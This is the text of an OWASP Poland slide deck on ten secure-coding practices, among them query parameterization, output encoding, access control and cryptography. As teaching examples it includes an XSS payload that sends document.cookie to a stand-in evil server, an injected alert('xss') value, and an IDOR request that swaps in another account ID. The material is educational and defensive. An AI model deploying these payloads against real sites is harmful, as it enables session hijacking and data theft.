Ten Commandments of Secure CodingOWASP Top Ten Proactive Controls

Mateusz OlejarkaOWASP Poland

Mateusz Olejarka @molejarka

• Senior IT Security Consultant @SecuRing

• Ex-developer• OWASP Poland since 2011

OWASPO = Open

• Docs & tools– free– Creative Commons license– open source

• Build with open collaboration in mind– Each one of you can join

3

OWASP Poland Chapter

• Since 2007• Meetings: Kraków, Poznań, Warszawa• Free entry• Supporters:

4Developers 2014* questionnaire* SecuRing’s study „Praktyki wytwarzania bezpiecznego oprogramowania w polskich firmach – 2014”• 62% companies do not educate programmers on

application security• >50% companies do not consider security during the

design stage• 73% participants confirmed, that they fixed security

related issues• only 42% confirmed, that they do security testing

before production deployment

OWASP Top10 Risk vsOWASP Top10 Proactive Controls

Disclaimer

• Do not rely your application security on Top 10 *– It is purely educational material– Each application has its own risk profile

Thou shalt parametrize queries

1: Parametrize queries

SQL/LDAP/XML/cmd/…-injection

Easily exploitable• Simple to use tools existDevastating impact#1

Źródło: http://xkcd.com/327/

Best practices

#1 Prepared Statements / Parametrized Queries

#2 Stored Procedures– Watch for exeptions! (eval,dynamic block, etc.)

#3 Escaping– risky!

String newName = request.getParameter("newName");String id = request.getParameter("id");PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id);

References

• Bobby Tables: A guide to preventing SQL injection

• Query Parameterization Cheat Sheet• SQL Injection Prevention Cheat Sheet• OWASP

Secure Coding Practices Quick Reference Guide

2: Thou shalt encode data

2: Encode Data

XSS

• Site defacement

• Session hijacking

<script>document.body.innerHTML(“Jim was here”);</script>

<script>var img = new Image();img.src="http://<some evil server>.com?” + document.cookie;</script>

Results of missing encoding

• Session hijacking• Network scanning• CSRF prevention bypass• Site defacement (browser)• …• Browser hijack

– vide BeEF

Cross Site Scripting

But when we write output inside pure JavaScript:

<script> var split='<bean:write name="transferFormId" property="trn_recipient">'; splitRecipient(split); </script>

trn_recipient=';alert('xss');--

<script> var split='';alert('xss');--

Best practices

• Special character encoding has to be context aware– HTML element – HTML attribute– JavaScript– JSON– CSS / style– URL

References

• XSS (Cross Site Scripting) Prevention Cheat Sheet

• Java Encoder Project• Microsoft .NET AntiXSS Library• OWASP ESAPI• Encoder Comparison Reference Project

Thou shalt validate all inputs

3: Validate All Inputs

Why validate anything?

• Most of other vulnerabilities (np. injections, xss, …) occurs (also) from missing input validation

• Validation it is like firewall– Do not protects you agains everything– …but nice to have

Best practices

• Prefer whitelist over blacklist approach,• Use strongly typed fields

– One validator per one data type– Easier to integrate a WAF

• Validation = first line of defence– For exaple type casting prevents injection– But not the only one!

References

• Input Validation Cheat Sheet• Apache Commons Validator• OWASP JSON Sanitizer Project• OWASP Java HTML Sanitizer Project• Google Caja

Thou shalt implement appropriate access controls

4: Implement Appropriate Access Controls

Account history

HTTP requestGET /services/history/account/85101022350445200448009906 HTTP/1.1 SA-DeviceId: 940109f08ba56a89 SA-SessionId: 826175 Accept: application/json Host: accConnection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

GET /services/history/account/45101022350445200448005388 HTTP/1.1

SA-DeviceId: 940109f08ba56a89

SA-SessionId: 826175

Accept: application/json

Host: acc

Connection: Keep-Alive

User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Account id change – we get other user data

Best practices

• Server makes a final call!• Default deny• All request must go through access controll

– centralized, easy to use mechanism• Access control rules (policy) should be

separated from code– Not a part of it

if (currentUser.hasRole(“administrator”)) { //pozwol} else { //zabron}

If (currentUser.isPermitted(printPermission)) { //pozwol} else { //zabron}

References

• Access Control Cheat Sheet• Java Authorization Guide with Apache Shiro

– Apache Shiro Authorization features• OWASP PHPRBAC Project

Thou shalt establish identity and authentication controls

5: Establish Identity and Authentication Controls

Example vulnerability

• Authentication with locally stored key (on the machine)

• Process:1. Enter login2. Select key file,enter key password3. We are logged in

https://...../GenerateNewKey

Best practices

• Check access control for the functions allowing to change authentication credentials

• „chain of trust” rule• Watch for session at the border!• Do not limit length and characters to use in

password

References

• Authentication Cheat Sheet• Password Storage Cheat Sheet• Forgot Password Cheat Sheet• Session Management Cheat Sheet

Thou shalt protect data and privacy6: Protect Data and Privacy

Example (at transit)

• SSL covers encryption and authentication• What verifies servers identity?

– Web applications: Browser– Mobile / thick-client / embedded… application:

Application• Common errors

– Missing certificate validation– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”– Missing exception handling

Best practices (in transit)

• TLS• For whole application• Cookies: „Secure” flag • HTTP Strict Transport Security• Strong cipher suites• Chain of trust• Certificate pinning

References (in transit)

• Transport Layer Protection Cheat Sheet• Pinning Cheat Sheet• OWASP O-Saft (SSL Audit for Testers)

Example (at rest)

• Storing password• „Own” SHA1 function

public static String encrypt(byte [] in){

String out = "";for(int i = 0; i < in.length; i++){

byte b = (byte)(in[i] ^ key[i%key.length]);out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b

& 0x0f];} return out;

}

Best practices(at rest)

• Do not reinwent the wheel!– Home-bred ciphers are evil– Own crypto is evil– Only libraries with reputation!

• Strong ciphers in strong modes– ECB is evil– CBC – watch for „padding oracle”

• Good RNG for IV

References

• Google KeyCzar• Cryptographic Storage Cheat Sheet• Password Storage Cheat Sheet

Thou shalt implement logging, error handling and intrusion detection

7: Implement Logging, Error Handling and Intrusion Detection

References

• Logging Cheat Sheet• OWASP AppSensor Project

Thou shalt leverage security features of frameworks and security libraries

8: Leverage Security Features of Frameworks and Security Libraries

Refenences

• PHP Security Cheat Sheet• .NET Security Cheat Sheet• Spring Security• Apache Shiro• OWASP Dependency Check / Track

Thou shalt include security-specific requirements

9: Include Security-Specific Requirements

Building requirements

• Attack scenatios– How threats can reach the objectives?– Requires experience and expertise

• Selection of security controls == REQUIREMENTS

Threat ResultsAttack

scenarios

Who? How? What?

References

• OWASP Application Security Verification Standard Project

• Software Assurance Maturity Model• Business Logic Security Cheat Sheet• Testing for business logic (OWASP-BL-001)

Thou shalt design and architect security in

10: Design and Architect Security In

References

• Software Assurance Maturity Model (OpenSAMM)

• Application Security Verification Standard Project

• Application Security Architecture Cheat Sheet• Attack Surface Analysis Cheat Sheet• Threat Modeling Cheat Sheet

Summary

That was just the Top Ten!

• Each application is different– Risk profile should be defined (WHO? WHY?) – Consider „compliance with existing regulations”

• Few easy steps with big positive impact• Developers education is worth it!

OWASP meetings

• https://www.owasp.org/index.php/Poland • Mailing list• Facebook: OWASP Poland Local Chapter• Twitter: @owasppoland

Thank you!

Mateusz Olejarka@molejarkamateusz.olejarka@owasp.org